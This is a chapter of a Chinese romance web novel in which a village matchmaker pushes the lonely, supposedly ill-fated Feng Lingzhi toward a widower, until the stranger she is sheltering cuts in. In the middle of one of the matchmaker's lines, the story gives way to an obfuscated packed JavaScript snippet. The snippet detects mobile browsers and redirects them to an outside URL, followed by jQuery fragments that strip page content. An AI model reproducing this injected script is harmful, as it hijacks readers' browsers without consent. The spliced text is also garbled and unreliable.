冯灵芝刚把衣服做好。
最后一针缝完，她把线头咬断，把衣裳抖开，对着窗户透进来的光看了看。灰蓝色的粗布，针脚细细密密的，领口平整，袖口齐整，穿上身应该挺括。
她伸手摸了摸，软的，不扎手。
她想，趁热给他送过去。
抱着衣服走到主屋门口，她站住了。门帘半掀着，能看见里头，那人正靠在床头，不知在想什么，一只手搭在被子上，手指一下一下地敲着。
她深吸一口气，正要开口——
“冯家姑娘在家不？”
院子外头突然传来一声喊。
那声音尖尖的，亮亮的，带着点拿腔拿调的劲儿，像是一把剪子，把安静的午后一下子剪开了。
冯灵芝愣了一下。
她连忙把衣服往那人怀里一塞，转身就往院子里跑。
那人接住衣服，低头看了一眼，又抬头看她跑出去的背影，眉头动了动。
跑到院门口，冯灵芝看见了来人。
五十来岁的妇人，穿着枣红褙子，头发梳得溜光溜光的，一根碎发都没有。一张圆脸笑得跟朵花似的，眼睛弯成两道缝，可那缝里透出的光，精得很。
正是十里八村最有名的杨媒婆。
冯灵芝站在那儿，愣住了。
杨媒婆她当然认得。这十里八村的，谁家有个适龄的儿女，杨媒婆比当娘的还清楚。哪家的姑娘该说亲了，哪家的小子该娶媳妇了，她心里一本账，门儿清。据说有的姑娘小伙还没到官府规定的婚配年龄，杨媒婆就会提前去踩点，跟人家爹娘套近乎，先把人认下，等时候一到，立马就能说上亲。
可她从来没找过冯灵芝。
从豆蔻到桃李，这么多年，杨媒婆一次都没来过。冯灵芝心里明白——谁愿意沾她这个“命硬”的晦气？
那今天……这是来做什么？
杨媒婆已经笑盈盈地走进院子了。
“哎哟，灵芝啊，好久不见，越长越水灵了。”她上下打量着冯灵芝，目光在她脸上身上扫了一圈，笑得那叫一个亲热，好像她们是多熟的亲戚似的。
冯灵芝往后退了一步，低着头，不知道说什么好。
“快，进屋坐。”她想起灶房，忙往那边让，“灶房简陋，您别嫌弃——”
说着就要把杨媒婆往灶房领。
杨媒婆却站着没动，目光往主屋那边瞟了瞟。
“那边不是还有屋吗？”她问，眼睛眯了眯。
冯灵芝心里一紧。
“那是我远房表哥，”她低着头说，声音小得跟蚊子哼似的，“来走亲戚的，歇着呢。不便见客。”
“远房表哥？”杨媒婆眼睛一下子亮了，那光比刚才还精，“多大年纪？婚配了没有？没婚配的话，我这儿可有的是好姑娘，保管给他挑个称心如意的——”
“婚配了！”冯灵芝赶紧说，声音都比刚才大了些，“早就婚配了，孩子都俩了。”
杨媒婆看了她一眼。
那一眼，冯灵芝觉得她什么都看穿了。
她心里直打鼓。
那人身上穿的可还是绫罗绸缎，那料子、那做工，杨媒婆这样的老江湖，一眼就能看出来。要是让她看见了，还不知道要传出什么闲话来。十里八村的婆娘们，最爱听的就是这种稀奇事。
她咬咬牙，拉住杨媒婆的袖子，把人往灶房拽。
“灶房坐，灶房坐，我给您烧水喝。”
杨媒婆被她拽着走，嘴里还念叨着：“你这孩子，急什么，我又不是不跟你去……”
进了灶房，冯灵芝把人按在小板凳上坐下，转身去烧水。
杨媒婆坐在那儿，眼睛却没闲着。灶房的破墙、破窗、破锅、破床，她一样一样扫过去，目光在那口黑乎乎的锅上停了停，又在墙角那堆柴火上停了停，最后落在床头那几块布头上——那是裁衣服剩下的碎布，灰蓝色的，摞在那儿，整整齐齐的。
她收回目光，看着冯灵芝的背影，脸上又堆起笑。
“灵芝啊，”她开口，声音亲热得跟抹了蜜似的，“你也老大不小了，婶子问你句掏心窝子的话——你还想不想嫁人？”
冯灵芝的手顿了一下。
她蹲在灶前，手里拿着火折子，半天没动。
这话要是放在以前问，她肯定说不想。她是天煞孤星命，克完了爹娘，又把奶奶克走了。谁沾上她谁倒霉，还嫁什么人？一个人过，挺好。一个人吃饭，不用架桌子。一个人睡觉，不怕吵着谁。一个人上山采药，想去哪儿去哪儿。
可现在……
她想起那个人。想起他靠在墙上看夕阳的样子，想起他说“对你自己也好点啊”，想起他站在她跟前，低着头看她，眼睛亮亮的。
她没说话。
杨媒婆多精的人，一眼就看穿了她的犹豫。
“哎哟，我就知道，”她笑起来，往前凑了凑，“姑娘家嘛，哪有不想嫁人的？你别听村里那些婆子瞎说，什么命硬不命硬的，都是瞎扯。她们那是眼红你，故意编排你。”
冯灵芝低着头，没吭声。
杨媒婆又说：“婶子这儿有个好人家，保管你满意。”
冯灵芝抬起头，看着她。
“隔壁村的，”杨媒婆说，声音压低了点，像是说什么秘密似的，“姓周，三十出头，人老实，能干活，家里有三间瓦房，两亩水田，日子过得去。他那人，没别的毛病，就是话少，老实巴交的，不会哄人，可会疼人。他前头那个婆娘，病了半年，他端屎端尿地伺候，一点怨言都没有。”
冯灵芝听着，没说话。
杨媒婆顿了顿，声音又压低了些：“就是命硬了点。前头娶了三个婆娘，都没了。”
冯灵芝愣住了。
杨媒婆见她愣住，忙接着说：“你别急啊，婶子算过了，你俩的命格，没准儿正配呢。他命硬，你也命硬，硬碰硬，说不定就没事了。这不是，他前头那三个，都是软命的，扛不住。你不一样，你扛得住。”
冯灵芝张了张嘴，不知道该说什么。
杨媒婆见她犹豫，赶紧又加把劲。
“你想想，你都桃李之年了，再不嫁，就真没人要了。这周家虽然命硬了点，可人家条件好啊，三间瓦房，两亩水田，嫁过去就是当家主母，不用受婆婆的气——他娘早没了。你自个儿说说，你在这儿住的是什么？就这一间破灶房，冬天漏风，夏天漏雨，锅是破的，床是旧的，连床像样的被子都没有。”
她说着，目光又在屋里扫了一圈，那眼神，跟掂量物件似的。
冯灵芝低下头，攥着衣角，攥得指节发白。
杨媒婆叹了口气，语气里带了点推心置腹的意思。
“灵芝啊，婶子跟你说句掏心窝子的话。你这样的，十里八村谁不知道？那些好人家，谁肯来提亲？人家要的是命好的、能生能养的、家里有底子的，不是你这样的。婶子给你说这个周家，那是真心为你好。你俩都是命硬的，凑一块儿过日子，谁也不嫌弃谁，谁也克不着谁。这不是正好？”
她顿了顿，又往前凑了凑，声音更低了。
“再说了，你这条件，还挑什么呢？家里就这一间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391779|200314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
破屋，连个像样的嫁妆都拿不出来。你爹娘走得早，奶奶也没了，就剩你一个。你自己说说，除了周家这样的，谁还能要你？”
冯灵芝低着头，不说话。
杨媒婆这些话，一句一句的，跟针似的，扎得她心里发疼。
可她知道，杨媒婆说的都是实话。
她是谁？她是冯灵芝。是村口婆子嘴里那个“命硬”“克亲”的冯灵芝。是那个贴着墙根走路、没人愿意多看一眼的冯灵芝。
谁还能要她？
她想起那些年，村里跟她差不多大的姑娘，一个个都嫁了。嫁得好的，吹吹打打抬出去的；嫁得差的，也是欢欢喜喜自己走去的。只有她，年年看人家出嫁，年年没人上门。
她想起奶奶还在的时候，奶奶总说，会有的，会有的，我们灵芝是个好孩子，会有人要的。
可奶奶走了三年了，还是没人来。
杨媒婆见她低着头不说话，知道她动摇了，忙趁热打铁。
“这样，你先见一面，看看人。人要是看不上，那就算了，婶子也不逼你。要是看着还行，处处再说。你放心，婶子不会害你，婶子也是心疼你，一个人孤苦伶仃的，多可怜。”
冯灵芝抬起头，看着杨媒婆那张笑得跟朵花似的脸。
她张了张嘴。
她想说好。
她想说那就见一面吧。
她想说反正这辈子就这样了，嫁给谁不是嫁？
可是——
门帘突然被人从外头猛地掀开。
那力道大得帘子都飞了起来，啪的一声拍在门框上，震得门框上的灰都簌簌往下掉。
冯灵芝吓了一跳，猛地回过头。
那人站在门口。
身上穿着她刚做好的那身粗布衣裳，灰蓝色的，针脚细细密密的，领口平整，袖口齐整。那衣裳穿在他身上，服服帖帖的，竟比他穿绫罗绸缎时还好看些——像是换了一个人，可那股子说不出的气度，又分明还是他。
可他脸上的神色，实在称不上好看。
他就站在那儿，看着杨媒婆，又看着冯灵芝，目光从那笑得跟花似的脸，移到她攥得发白的手指上。
冯灵芝被他看得心口发紧，一句话都说不出来。
杨媒婆也被这阵仗吓了一跳，愣愣地看着门口这个高大男人，半天才挤出一句：
“这、这位是……”
那人没理她。
他只看着冯灵芝。
“你方才说什么？”他问。
声音不高，可灶房就这么大，每个字都清清楚楚地落进耳朵里。
冯灵芝张了张嘴。
她方才什么也没说。可她心里想说的那些话，他是不是都听见了？
她低下头，不敢看他。
灶房里安静得只剩下锅里的水咕嘟咕嘟响。
杨媒婆看看这个，又看看那个，眼珠转了转，忽然笑起来。
“哎呀，这就是你那个远房表哥吧？一表人才，一表人才啊！成亲了没？没成亲的话——”
“成了。”那人说。
就俩字，连看都没看她一眼。
杨媒婆脸上的笑僵了僵。
那人还是看着冯灵芝。
“出来。”他说。
说完，他转身往外走。
门帘落下来，晃了晃，不动了。
冯灵芝站在原地，愣了好一会儿。
杨媒婆凑过来，压低声音问：“你这表哥，到底是干什么的？怎么瞧着……”
冯灵芝没等她说完，就跟着跑了出去。